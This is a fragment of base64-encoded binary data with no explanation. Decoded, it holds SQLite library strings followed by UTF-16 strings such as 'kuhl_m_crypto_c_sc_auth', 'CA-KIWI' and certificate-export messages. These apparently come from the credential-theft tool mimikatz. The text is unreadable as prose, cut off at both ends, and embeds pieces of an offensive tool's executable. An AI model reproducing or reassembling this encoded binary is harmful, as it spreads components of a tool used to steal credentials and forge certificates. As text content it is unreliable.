luZGV4ZWQAAAB0aGVyZSBpcyBhbHJlYWR5IGEgdGFibGUgbmFtZWQgJXMAAABpbmRleCAlcyBhbHJlYWR5IGV4aXN0cwBzcWxpdGVfYXV0b2luZGV4XyVzXyVkAABleHByZXNzaW9ucyBwcm9oaWJpdGVkIGluIFBSSU1BUlkgS0VZIGFuZCBVTklRVUUgY29uc3RyYWludHMAAAAAY29uZmxpY3RpbmcgT04gQ09ORkxJQ1QgY2xhdXNlcyBzcGVjaWZpZWQAAABpbnZhbGlkIHJvb3RwYWdlAAAAACBVTklRVUUAQ1JFQVRFJXMgSU5ERVggJS4qcwBJTlNFUlQgSU5UTyAlUS4lcyBWQUxVRVMoJ2luZGV4JywlUSwlUSwjJWQsJVEpOwBuYW1lPSclcScgQU5EIHR5cGU9J2luZGV4JwAAbm8gc3VjaCBpbmRleDogJVMAAAAAAAAAaW5kZXggYXNzb2NpYXRlZCB3aXRoIFVOSVFVRSBvciBQUklNQVJZIEtFWSBjb25zdHJhaW50IGNhbm5vdCBiZSBkcm9wcGVkAAAAAERFTEVURSBGUk9NICVRLiVzIFdIRVJFIG5hbWU9JVEgQU5EIHR5cGU9J2luZGV4JwAAAAB0b28gbWFueSBGUk9NIGNsYXVzZSB0ZXJtcywgbWF4OiAlZABPTgAAVVNJTkcAAABhIEpPSU4gY2xhdXNlIGlzIHJlcXVpcmVkIGJlZm9yZSAlcwBCRUdJTgAAAFJPTExCQUNLAAAAAENPTU1JVAAAUkVMRUFTRQB1bmFibGUgdG8gb3BlbiBhIHRlbXBvcmFyeSBkYXRhYmFzZSBmaWxlIGZvciBzdG9yaW5nIHRlbXBvcmFyeSB0YWJsZXMAAABpbmRleCAnJXEnAAAsIAAAJXMucm93aWQAAAAAdW5hYmxlIHRvIGlkZW50aWZ5IHRoZSBvYmplY3QgdG8gYmUgcmVpbmRleGVkAAAAZHVwbGljYXRlIFdJVEggdGFibGUgbmFtZTogJXMAAABubyBzdWNoIGNvbGxhdGlvbiBzZXF1ZW5jZTogJXMAAHRhYmxlICVzIG1heSBub3QgYmUgbW9kaWZpZWQAAAAAY2Fubm90IG1vZGlmeSAlcyBiZWNhdXNlIGl0IGlzIGEgdmlldwAAAHJvd3MgZGVsZXRlZAAAAAB0ZXh0AAAAAGJsb2IAAAAAaW50ZWdlciBvdmVyZmxvdwAAAAAlLipmAAAAAExJS0Ugb3IgR0xPQiBwYXR0ZXJuIHRvbyBjb21wbGV4AAAAAEVTQ0FQRSBleHByZXNzaW9uIG11c3QgYmUgYSBzaW5nbGUgY2hhcmFjdGVyAAAAACUhLjIwZQAAIAAAAE1BVENIAAAAbGlrZQAAAABsb2FkX2V4dGVuc2lvbgAAc3FsaXRlX2NvbXBpbGVvcHRpb25fdXNlZAAAAHNxbGl0ZV9jb21waWxlb3B0aW9uX2dldAAAAAB1bmxpa2VseQAAAABsaWtlbGlob29kAABsaWtlbHkAAGx0cmltAAAAcnRyaW0AAAB0cmltAAAAAG1pbgBtYXgAdHlwZW9mAABsZW5ndGgAAGluc3RyAAAAcHJpbnRmAAB1bmljb2RlAGNoYXIAAAAAYWJzAHJvdW5kAAAAdXBwZXIAAABsb3dlcgAAAGhleABpZm51bGwAAHJhbmRvbQAAcmFuZG9tYmxvYgAAbnVsbGlmAABzcWxpdGVfdmVyc2lvbgAAc3FsaXRlX3NvdXJjZV9pZAAAAABzcWxpdGVfbG9nAABxdW90ZQAAAGxhc3RfaW5zZXJ0X3Jvd2lkAAAAY2hhbmdlcwB0b3RhbF9jaGFuZ2VzAAAAcmVwbGFjZQB6ZXJvYmxvYgAAAABzdWJzdHIAAHN1bQB0b3RhbAAAAGF2ZwBjb3VudAAAAGdyb3VwX2NvbmNhdAAAAABnbG9iAAAAAGNvYWxlc2NlAAAAAGZvcmVpZ24ga2V5IG1pc21hdGNoIC0gIiV3IiByZWZlcmVuY2luZyAiJXciAAAAAHRhYmxlICVTIGhhcyBubyBjb2x1bW4gbmFtZWQgJXMAdGFibGUgJVMgaGFzICVkIGNvbHVtbnMgYnV0ICVkIHZhbHVlcyB3ZXJlIHN1cHBsaWVkACVkIHZhbHVlcyBmb3IgJWQgY29sdW1ucwAAAABVUFNFUlQgbm90IGltcGxlbWVudGVkIGZvciB2aXJ0dWFsIHRhYmxlICIlcyIAAAByb3dzIGluc2VydGVkAAAAZGxsAHNxbGl0ZTNfZXh0ZW5zaW9uX2luaXQAAHVuYWJsZSB0byBvcGVuIHNoYXJlZCBsaWJyYXJ5IFslc10AAGxpYgBfaW5pdAAAAG5vIGVudHJ5IHBvaW50IFslc10gaW4gc2hhcmVkIGxpYnJhcnkgWyVzXQAAZXJyb3IgZHVyaW5nIGluaXRpYWxpemF0aW9uOiAlcwBhdXRvbWF0aWMgZXh0ZW5zaW9uIGxvYWRpbmcgZmFpbGVkOiAlcwAAaWQAAHNlcQBmcm9tAAAAAG9uX3VwZGF0ZQAAAG9uX2RlbGV0ZQAAAG1hdGNoAAAAY2lkAG5hbWUAAAAAdHlwZQAAAABub3RudWxsAGRmbHRfdmFsdWUAAHBrAABoaWRkZW4AAHNlcW5vAAAAZGVzYwAAAABjb2xsAAAAAGtleQB3ZHRoAAAAAGhnaHQAAAAAZmxncwAAAAB1bmlxdWUAAG9yaWdpbgAAcGFydGlhbAByb3dpZAAAAHBhcmVudAAAZmtpZAAAAABmaWxlAAAAAGJ1c3kAAAAAbG9nAGNoZWNrcG9pbnRlZAAAAABidWlsdGluAGRhdGFiYXNlAAAAAHN0YXR1cwAAY2FjaGVfc2l6ZQAAdGltZW91dABhcHBsaWNhdGlvbl9pZAAAYXV0b192YWN1dW0AYXV0b21hdGljX2luZGV4AGJ1c3lfdGltZW91dAAAAABjYWNoZV9zcGlsbABjYXNlX3NlbnNpdGl2ZV9saWtlAGNlbGxfc2l6ZV9jaGVjawBjaGVja3BvaW50X2Z1bGxmc3luYwAAAABjb2xsYXRpb25fbGlzdAAAY29tcGlsZV9vcHRpb25zAGNvdW50X2NoYW5nZXMAAABkYXRhX3N0b3JlX2RpcmVjdG9yeQAAAABkYXRhX3ZlcnNpb24AAAAAZGF0YWJhc2VfbGlzdAAAAGRlZmVyX2ZvcmVpZ25fa2V5cwAAZW1wdHlfcmVzdWx0X2NhbGxiYWNrcwAAZW5jb2RpbmcAAAAAZm9yZWlnbl9rZXlfY2hlY2sAAABmb3JlaWduX2tleV9saXN0AAAAAGZvcmVpZ25fa2V5cwAAAABmcmVlbGlzdF9jb3VudAAAZnVsbF9jb2x1bW5fbmFtZXMAAABmdWxsZnN5bmMAAABmdW5jdGlvbl9saXN0AAAAaWdub3JlX2NoZWNrX2NvbnN0cmFpbnRzAAAAAGluY3JlbWVudGFsX3ZhY3V1bQAAaW5kZXhfaW5mbwAAaW5kZXhfbGlzdAAAaW5kZXhfeGluZm8AaW50ZWdyaXR5X2NoZWNrAGpvdXJuYWxfbW9kZQAAAABqb3VybmFsX3NpemVfbGltaXQAAGxlZ2FjeV9hbHRlcl90YWJsZQAAbGVnYWN5X2ZpbGVfZm9ybWF0AABsb2NraW5nX21vZGUAAAAAbWF4X3BhZ2VfY291bnQAAG1tYXBfc2l6ZQAAAG1vZHVsZV9saXN0AG9wdGltaXplAAAAAHBhZ2VfY291bnQAAHBhZ2Vfc2l6ZQAAAHByYWdtYV9saXN0AHF1ZXJ5X29ubHkAAHF1aWNrX2NoZWNrAHJlYWRfdW5jb21taXR0ZWQAAAAAcmVjdXJzaXZlX3RyaWdnZXJzAAByZXZlcnNlX3Vub3JkZXJlZF9zZWxlY3RzAAAAc2NoZW1hX3ZlcnNpb24AAHNlY3VyZV9kZWxldGUAAABzaG9ydF9jb2x1bW5fbmFtZXMAAHNocmlua19tZW1vcnkAAABzb2Z0X2hlYXBfbGltaXQAc3luY2hyb25vdXMAdGFibGVfaW5mbwAAdGFibGVfeGluZm8AdGVtcF9zdG9yZQAAdGVtcF9zdG9yZV9kaXJlY3RvcnkAAAAAdGhyZWFkcwB1c2VyX3ZlcnNpb24AAAAAd2FsX2F1dG9jaGVja3BvaW50AAB3YWxfY2hlY2twb2ludAAAd3JpdGFibGVfc2NoZW1hAGV4Y2x1c2l2ZQAAAG5vcm1hbAAAbm9uZQAAAABmdWxsAAAAAGluY3JlbWVudGFsAG1lbW9yeQAAdGVtcG9yYXJ5IHN0b3JhZ2UgY2Fubm90IGJlIGNoYW5nZWQgZnJvbSB3aXRoaW4gYSB0cmFuc2FjdGlvbgAAAFNFVCBOVUxMAAAAAFNFVCBERUZBVUxUAENBU0NBREUAUkVTVFJJQ1QAAAAATk8gQUNUSU9OAAAAZGVsZXRlAABwZXJzaXN0AG9mZgB0cnVuY2F0ZQAAAAB3YWwALSVUAGZhc3QAAAAAbm90IGEgd3JpdGFibGUgZGlyZWN0b3J5AAAAAFNhZmV0eSBsZXZlbCBtYXkgbm90IGJlIGNoYW5nZWQgaW5zaWRlIGEgdHJhbnNhY3Rpb24AAAAAaXNzaXNpaQBpc3Npc2kAAGlpc1gAAAAAaXNpWAAAAABjAAAAdQAAAGlzaXNpAAAAaXNzAGlzAABzaQAAcwAAAE5PTkUAAAAAaWlzc3Nzc3MAAAAAc2lYACoqKiBpbiBkYXRhYmFzZSAlcyAqKioKAE5VTEwgdmFsdWUgaW4gJXMuJXMAQ0hFQ0sgY29uc3RyYWludCBmYWlsZWQgaW4gJXMAAAByb3cgAAAAACBtaXNzaW5nIGZyb20gaW5kZXggAAAAAG5vbi11bmlxdWUgZW50cnkgaW4gaW5kZXggAAB3cm9uZyAjIG9mIGVudHJpZXMgaW4gaW5kZXggAAAAAG9rAABVVEY4AAAAAFVURi04AAAAVVRGLTE2bGUAAAAAVVRGLTE2YmUAAAAAVVRGMTZsZQBVVEYxNmJlAFVURi0xNgAAVVRGMTYAAAB1bnN1cHBvcnRlZCBlbmNvZGluZzogJXMAAAAAcmVzdGFydABBTkFMWVpFICIldyIuIiV3IgAAAENSRUFURSBUQUJMRSB4AAAlYyIlcyIAACgiJXMiAAAALGFyZyBISURERU4ALHNjaGVtYSBISURERU4AAFBSQUdNQSAAJVEuAD0lUQA/AAAAbWFsZm9ybWVkIGRhdGFiYXNlIHNjaGVtYSAoJXMpAAAleiAtICVzAGNyZWF0ZSAAb3JwaGFuIGluZGV4AAAAAAAAAABDUkVBVEUgVEFCTEUgeCh0eXBlIHRleHQsbmFtZSB0ZXh0LHRibF9uYW1lIHRleHQscm9vdHBhZ2UgaW50LHNxbCB0ZXh0KQB1bnN1cHBvcnRlZCBmaWxlIGZvcm1hdABTRUxFQ1QqRlJPTSIldyIuJXMgT1JERVIgQlkgcm93aWQAAABzdGF0ZW1lbnQgdG9vIGxvbmcAAGFkZHIAAAAAb3Bjb2RlAABwMQAAcDIAAHAzAABwNAAAcDUAAGNvbW1lbnQAbm90dXNlZABkZXRhaWwAAHVua25vd24gb3IgdW5zdXBwb3J0ZWQgam9pbiB0eXBlOiAlVCAlVCVzJVQAUklHSFQgYW5kIEZVTEwgT1VURVIgSk9JTnMgYXJlIG5vdCBjdXJyZW50bHkgc3VwcG9ydGVkAABhIE5BVFVSQUwgam9pbiBtYXkgbm90IGhhdmUgYW4gT04gb3IgVVNJTkcgY2xhdXNlAAAAY2Fubm90IGhhdmUgYm90aCBPTiBhbmQgVVNJTkcgY2xhdXNlcyBpbiB0aGUgc2FtZSBqb2luAAAAAAAAY2Fubm90IGpvaW4gdXNpbmcgY29sdW1uICVzIC0gY29sdW1uIG5vdCBwcmVzZW50IGluIGJvdGggdGFibGVzAFVOSU9OIEFMTAAAAElOVEVSU0VDVAAAAEVYQ0VQVAAAVU5JT04AAABVU0UgVEVNUCBCLVRSRUUgRk9SICVzAABjb2x1bW4lZAAAAAAlLip6OiV1AGNhbm5vdCB1c2Ugd2luZG93IGZ1bmN0aW9ucyBpbiByZWN1cnNpdmUgcXVlcmllcwAAAABTRVRVUAAAAHJlY3Vyc2l2ZSBhZ2dyZWdhdGUgcXVlcmllcyBub3Qgc3VwcG9ydGVkAAAAUkVDVVJTSVZFIFNURVAAAFMAAABTQ0FOICVkIENPTlNUQU5UIFJPVyVzAABPUkRFUiBCWQAAAABMSU1JVAAAACVzIGNsYXVzZSBzaG91bGQgY29tZSBhZnRlciAlcyBub3QgYmVmb3JlAAAAQ09NUE9VTkQgUVVFUlkAAExFRlQtTU9TVCBTVUJRVUVSWQAAJXMgVVNJTkcgVEVNUCBCLVRSRUUAAAAAYWxsIFZBTFVFUyBtdXN0IGhhdmUgdGhlIHNhbWUgbnVtYmVyIG9mIHRlcm1zAAAAAAAAAFNFTEVDVHMgdG8gdGhlIGxlZnQgYW5kIHJpZ2h0IG9mICVzIGRvIG5vdCBoYXZlIHRoZSBzYW1lIG51bWJlciBvZiByZXN1bHQgY29sdW1ucwAAAE1FUkdFICglcykAAExFRlQAAAAAUklHSFQAAABubyBzdWNoIGluZGV4OiAlcwAAACclcycgaXMgbm90IGEgZnVuY3Rpb24AAG11bHRpcGxlIHJlZmVyZW5jZXMgdG8gcmVjdXJzaXZlIHRhYmxlOiAlcwAAY2lyY3VsYXIgcmVmZXJlbmNlOiAlcwAAdGFibGUgJXMgaGFzICVkIHZhbHVlcyBmb3IgJWQgY29sdW1ucwAAAG11bHRpcGxlIHJlY3Vyc2l2ZSByZWZlcmVuY2VzOiAlcwAAAHJlY3Vyc2l2ZSByZWZlcmVuY2UgaW4gYSBzdWJxdWVyeTogJXMAAABzdWJxdWVyeV8ldQB0b28gbWFueSByZWZlcmVuY2VzIHRvICIlcyI6IG1heCA2NTUzNQAAYWNjZXNzIHRvIHZpZXcgIiVzIiBwcm9oaWJpdGVkAAAqAAAAJXMuJXMuJXMAAAAAbm8gc3VjaCB0YWJsZTogJXMAAABubyB0YWJsZXMgc3BlY2lmaWVkAHRvbyBtYW55IGNvbHVtbnMgaW4gcmVzdWx0IHNldAAARElTVElOQ1QgYWdncmVnYXRlcyBtdXN0IGhhdmUgZXhhY3RseSBvbmUgYXJndW1lbnQAACBVU0lORyBDT1ZFUklORyBJTkRFWCAAAFNDQU4gVEFCTEUgJXMlcyVzAAAAZXhwZWN0ZWQgJWQgY29sdW1ucyBmb3IgJyVzJyBidXQgZ290ICVkAENPLVJPVVRJTkUgJXUAAABNQVRFUklBTElaRSAldQAARElTVElOQ1QAAAAAR1JPVVAgQlkAAAAAUklHSFQgUEFSVCBPRiBPUkRFUiBCWQAAc3FsaXRlM19nZXRfdGFibGUoKSBjYWxsZWQgd2l0aCB0d28gb3IgbW9yZSBpbmNvbXBhdGlibGUgcXVlcmllcwAAAAB0ZW1wb3JhcnkgdHJpZ2dlciBtYXkgbm90IGhhdmUgcXVhbGlmaWVkIG5hbWUAAAB0cmlnZ2VyAGNhbm5vdCBjcmVhdGUgdHJpZ2dlcnMgb24gdmlydHVhbCB0YWJsZXMAAAAAdHJpZ2dlciAlVCBhbHJlYWR5IGV4aXN0cwAAAGNhbm5vdCBjcmVhdGUgdHJpZ2dlciBvbiBzeXN0ZW0gdGFibGUAAABCRUZPUkUAAEFGVEVSAAAAY2Fubm90IGNyZWF0ZSAlcyB0cmlnZ2VyIG9uIHZpZXc6ICVTAAAAAGNhbm5vdCBjcmVhdGUgSU5TVEVBRCBPRiB0cmlnZ2VyIG9uIHRhYmxlOiAlUwAAAAAAAABJTlNFUlQgSU5UTyAlUS4lcyBWQUxVRVMoJ3RyaWdnZXInLCVRLCVRLDAsJ0NSRUFURSBUUklHR0VSICVxJykAdHlwZT0ndHJpZ2dlcicgQU5EIG5hbWU9JyVxJwAAAABubyBzdWNoIHRyaWdnZXI6ICVTAERFTEVURSBGUk9NICVRLiVzIFdIRVJFIG5hbWU9JVEgQU5EIHR5cGU9J3RyaWdnZXInAAAtLSBUUklHR0VSICVzAAAAbm8gc3VjaCBjb2x1bW46ICVzAAByb3dzIHVwZGF0ZWQAAAAAAAAAAE9OIENPTkZMSUNUIGNsYXVzZSBkb2VzIG5vdCBtYXRjaCBhbnkgUFJJTUFSWSBLRVkgb3IgVU5JUVVFIGNvbnN0cmFpbnQAAENSRQBJTlMAY2Fubm90IFZBQ1VVTSBmcm9tIHdpdGhpbiBhIHRyYW5zYWN0aW9uAGNhbm5vdCBWQUNVVU0gLSBTUUwgc3RhdGVtZW50cyBpbiBwcm9ncmVzcwAAbm9uLXRleHQgZmlsZW5hbWUAAABBVFRBQ0ggJVEgQVMgdmFjdXVtX2RiAABvdXRwdXQgZmlsZSBhbHJlYWR5IGV4aXN0cwAAAAAAAFNFTEVDVCBzcWwgRlJPTSAiJXciLnNxbGl0ZV9tYXN0ZXIgV0hFUkUgdHlwZT0ndGFibGUnQU5EIG5hbWU8PidzcWxpdGVfc2VxdWVuY2UnIEFORCBjb2FsZXNjZShyb290cGFnZSwxKT4wAFNFTEVDVCBzcWwgRlJPTSAiJXciLnNxbGl0ZV9tYXN0ZXIgV0hFUkUgdHlwZT0naW5kZXgnAAAAAAAAAFNFTEVDVCdJTlNFUlQgSU5UTyB2YWN1dW1fZGIuJ3x8cXVvdGUobmFtZSl8fCcgU0VMRUNUKkZST00iJXciLid8fHF1b3RlKG5hbWUpRlJPTSB2YWN1dW1fZGIuc3FsaXRlX21hc3RlciBXSEVSRSB0eXBlPSd0YWJsZSdBTkQgY29hbGVzY2Uocm9vdHBhZ2UsMSk+MAAASU5TRVJUIElOVE8gdmFjdXVtX2RiLnNxbGl0ZV9tYXN0ZXIgU0VMRUNUKkZST00gIiV3Ii5zcWxpdGVfbWFzdGVyIFdIRVJFIHR5cGUgSU4oJ3ZpZXcnLCd0cmlnZ2VyJykgT1IodHlwZT0ndGFibGUnQU5EIHJvb3RwYWdlPTApAAAAQ1JFQVRFIFZJUlRVQUwgVEFCTEUgJVQAAAAAAFVQREFURSAlUS4lcyBTRVQgdHlwZT0ndGFibGUnLCBuYW1lPSVRLCB0YmxfbmFtZT0lUSwgcm9vdHBhZ2U9MCwgc3FsPSVRIFdIRVJFIHJvd2lkPSMlZABuYW1lPSclcScgQU5EIHR5cGU9J3RhYmxlJwAAdnRhYmxlIGNvbnN0cnVjdG9yIGNhbGxlZCByZWN1cnNpdmVseTogJXMAAAB2dGFibGUgY29uc3RydWN0b3IgZmFpbGVkOiAlcwAAAHZ0YWJsZSBjb25zdHJ1Y3RvciBkaWQgbm90IGRlY2xhcmUgc2NoZW1hOiAlcwAAAG5vIHN1Y2ggbW9kdWxlOiAlcwAAPGV4cHI+AAAgQU5EIAAAACgAAAAgKAAAJXM9PwAAAABBTlkoJXMpAD4AAAA8AAAAU0VBUkNIAABTQ0FOAAAAACBTVUJRVUVSWSAldQAAAAAgVEFCTEUgJXMAAAAgQVMgJXMAAFBSSU1BUlkgS0VZAEFVVE9NQVRJQyBQQVJUSUFMIENPVkVSSU5HIElOREVYAAAAAEFVVE9NQVRJQyBDT1ZFUklORyBJTkRFWAAAAABDT1ZFUklORyBJTkRFWCAlcwAAAElOREVYICVzAAAAACBVU0lORyAAPQAAAD4/IEFORCByb3dpZDwAAAAgVVNJTkcgSU5URUdFUiBQUklNQVJZIEtFWSAocm93aWQlcz8pAAAAIFZJUlRVQUwgVEFCTEUgSU5ERVggJWQ6JXMAAHJlZ2V4cAAAT04gY2xhdXNlIHJlZmVyZW5jZXMgdGFibGVzIHRvIGl0cyByaWdodAAAAAB0b28gbWFueSBhcmd1bWVudHMgb24gJXMoKSAtIG1heCAlZABhdXRvbWF0aWMgaW5kZXggb24gJXMoJXMpAAAAYXV0by1pbmRleAAAJXMueEJlc3RJbmRleCBtYWxmdW5jdGlvbgAAAGFiYnJldmlhdGVkIHF1ZXJ5IGFsZ29yaXRobSBzZWFyY2gAAG5vIHF1ZXJ5IHNvbHV0aW9uAAAAYXQgbW9zdCAlZCB0YWJsZXMgaW4gYSBqb2luAFNDQU4gQ09OU1RBTlQgUk9XAAAAc2Vjb25kIGFyZ3VtZW50IHRvIG50aF92YWx1ZSBtdXN0IGJlIGEgcG9zaXRpdmUgaW50ZWdlcgBhcmd1bWVudCBvZiBudGlsZSBtdXN0IGJlIGEgcG9zaXRpdmUgaW50ZWdlcgAAAABubyBzdWNoIHdpbmRvdzogJXMAAAAAAABSQU5HRSB3aXRoIG9mZnNldCBQUkVDRURJTkcvRk9MTE9XSU5HIHJlcXVpcmVzIG9uZSBPUkRFUiBCWSBleHByZXNzaW9uAABGSUxURVIgY2xhdXNlIG1heSBvbmx5IGJlIHVzZWQgd2l0aCBhZ2dyZWdhdGUgd2luZG93IGZ1bmN0aW9ucwAAdW5zdXBwb3J0ZWQgZnJhbWUgc3BlY2lmaWNhdGlvbgBQQVJUSVRJT04gY2xhdXNlAAAAAE9SREVSIEJZIGNsYXVzZQBmcmFtZSBzcGVjaWZpY2F0aW9uAGNhbm5vdCBvdmVycmlkZSAlcyBvZiB3aW5kb3c6ICVzAAAAAERJU1RJTkNUIGlzIG5vdCBzdXBwb3J0ZWQgZm9yIHdpbmRvdyBmdW5jdGlvbnMAAGZyYW1lIHN0YXJ0aW5nIG9mZnNldCBtdXN0IGJlIGEgbm9uLW5lZ2F0aXZlIGludGVnZXIAAAAAZnJhbWUgZW5kaW5nIG9mZnNldCBtdXN0IGJlIGEgbm9uLW5lZ2F0aXZlIGludGVnZXIAAGZyYW1lIHN0YXJ0aW5nIG9mZnNldCBtdXN0IGJlIGEgbm9uLW5lZ2F0aXZlIG51bWJlcgBmcmFtZSBlbmRpbmcgb2Zmc2V0IG11c3QgYmUgYSBub24tbmVnYXRpdmUgbnVtYmVyAAAAdG9vIG1hbnkgdGVybXMgaW4gY29tcG91bmQgU0VMRUNUAAAAc3ludGF4IGVycm9yIGFmdGVyIGNvbHVtbiBuYW1lICIlLipzIgAAAHBhcnNlciBzdGFjayBvdmVyZmxvdwAAAHVua25vd24gdGFibGUgb3B0aW9uOiAlLipzAABzZXQgbGlzdAAAAABuZWFyICIlVCI6IHN5bnRheCBlcnJvcgAAAAAAcXVhbGlmaWVkIHRhYmxlIG5hbWVzIGFyZSBub3QgYWxsb3dlZCBvbiBJTlNFUlQsIFVQREFURSwgYW5kIERFTEVURSBzdGF0ZW1lbnRzIHdpdGhpbiB0cmlnZ2VycwAAdGhlIElOREVYRUQgQlkgY2xhdXNlIGlzIG5vdCBhbGxvd2VkIG9uIFVQREFURSBvciBERUxFVEUgc3RhdGVtZW50cyB3aXRoaW4gdHJpZ2dlcnMAAAAAAHRoZSBOT1QgSU5ERVhFRCBjbGF1c2UgaXMgbm90IGFsbG93ZWQgb24gVVBEQVRFIG9yIERFTEVURSBzdGF0ZW1lbnRzIHdpdGhpbiB0cmlnZ2VycwAAAABpbmNvbXBsZXRlIGlucHV0AAAAAHVucmVjb2duaXplZCB0b2tlbjogIiUuKnMiAAAlcyBpbiAiJXMiAABjcmVhdGUAAHRlbXAAAAAAdGVtcG9yYXJ5AAAAZW5kAGV4cGxhaW4AAAAAAHVuYWJsZSB0byBjbG9zZSBkdWUgdG8gdW5maW5hbGl6ZWQgc3RhdGVtZW50cyBvciB1bmZpbmlzaGVkIGJhY2t1cHMAbm90IGFuIGVycm9yAAAAAFNRTCBsb2dpYyBlcnJvcgBhY2Nlc3MgcGVybWlzc2lvbiBkZW5pZWQAAAAAcXVlcnkgYWJvcnRlZAAAAGRhdGFiYXNlIGlzIGxvY2tlZAAAZGF0YWJhc2UgdGFibGUgaXMgbG9ja2VkAAAAAGF0dGVtcHQgdG8gd3JpdGUgYSByZWFkb25seSBkYXRhYmFzZQAAAABpbnRlcnJ1cHRlZABkaXNrIEkvTyBlcnJvcgAAZGF0YWJhc2UgZGlzayBpbWFnZSBpcyBtYWxmb3JtZWQAAAAAdW5rbm93biBvcGVyYXRpb24AAABkYXRhYmFzZSBvciBkaXNrIGlzIGZ1bGwAAAAAdW5hYmxlIHRvIG9wZW4gZGF0YWJhc2U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AOwAgAFUAbgBhAGIAbABlACAAdABvACAAYwByAGUAYQB0AGUAIABTAE4ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBhAHQAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAHIAZQBhAHQAZQAgAFMAdQBiAGoAZQBjAHQACgAAADEuMi44NDAuMTEzNTQ5LjEuMS4xMQAAAGgAdwAAAAAAYwBzAHAAAABwAGkAbgAAAG4AbwBzAHQAbwByAGUAAABMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAAAAYwBhAHMAdABvAHIAZQAAAHMAaABhADEAAAAAADEuMy4xNC4zLjIuMjkAAABrAGUAeQBzAGkAegBlAAAAYwBhAG4AYQBtAGUAAAAAAGMAYQBoAGEAcwBoAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoACAAOwAgAC8AYwBhAGgAYQBzAGgAIABuAGUAZQBkAHMAIABhACAAUwBIAEEAMQAgAGkAbgAgAGgAZQB4ACAAKAA0ADAAYwBoAGEAcgBzACAAZgBvAHIAIAAyADAAYgB5AHQAZQBzACkACgAAAAAAdQBwAG4AAABjAG4AAAAAAG8AAABvAHUAAAAAAEYAUgAAAAAAYwAAAEMAQQAgAHMAdABvAHIAZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAATQB5AAAAAABDAEEAIABoAGEAcwBoACAAKABzAGgAYQAxACkAIAA6ACAAAABDAEEAIABuAGEAbQBlACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAADEuMy42LjEuNS41LjcuMy4yAAAAMS4zLjYuMS40LjEuMzExLjIwLjIuMgAAYwByAGwAZABwAAAAcABmAHgAAABPAEsAAAAAAEsATwAAAAAAUAByAGkAdgBhAHQAZQAgAEUAeABwAG8AcgB0ACAAOgAgACUAcwAgAC0AIAAlAHMACgAAAFAAcgBpAHYAYQB0AGUAIABTAHQAbwByAGUAIAAgADoAIABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBDAFUAUgBSAEUATgBUAF8AVQBTAEUAUgAvAE0AeQAgAC0AIAAlAHMACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AcwBjAF8AYQB1AHQAaAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGcAZQBuAGUAcgBhAHQAZQAgAFMAQQBOACAAZQB4AHQAZQBuAHMAaQBvAG4AIAAtACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoAF8ARQB4AHQAXwBBAGwAdABVAFAATgAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAZwBlAG4AZQByAGEAdABlACAARQBLAFUAIABlAHgAdABlAG4AcwBpAG8AbgAgAC0AIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAXwBFAHgAdABfAEUASwBVACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAAQwBlAHIAdABGAGkAbgBkAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBJAG4AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoACAAOwAgAC8AdQBwAG4AOgB1AHMAZQByAEAAZABvAG0AYQBpAG4ALgBsAG8AYwBhAGwAIABuAGUAZQBkAGUAZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAALwBjAGEAbgBhAG0AZQA6AEMAQQAtAEsASQBXAEkAIABvAHIAIAAvAGMAYQBoAGEAcwBoADoAUwBIAEEAMQAgAG4AZQBlAGQAZQBkAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAYwBfAHAAcgBvAHYAdAB5AHAAZQBmAHIAbwBtAG4AYQBtAGUAIAA7ACAAQwByAHkAcAB0AEUAbgB1AG0AUAByAG8AdgBpAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAIAAgACAAIABcACAAJQAwADIAeAAgAC0AIAAAAEwAQwBEACAATABhAHkAbwB1AHQAOgAgACUAaABoAHUAeAAlAGgAaAB1AAoAAAAAAEUAbgB0AHIAeQAgAFYAYQBsAGkAZABhAHQAaQBvAG4AIABDAG8AbgBkAGkAdABpAG8AbgA6ACAAMAB4ACUAMAAyAHgACgAAAFQAaQBtAGUATwB1AHQAMgA6ACAAJQBoAGgAdQAKAAAATABDAEQAIABNAGEAeAAgAEMAaABhAHIAYQBjAHQAZQByAHMAOgAgACUAaAB1AAoAAAAAAEwAQwBEACAATQBhAHgAIABMAGkAbgBlAHMAOgAgACUAaAB1AAoAAABNAGkAbgAgAFAAaQBuACAAUwBpAHoAZQA6ACAAJQBoAGgAdQAKAAAATQBh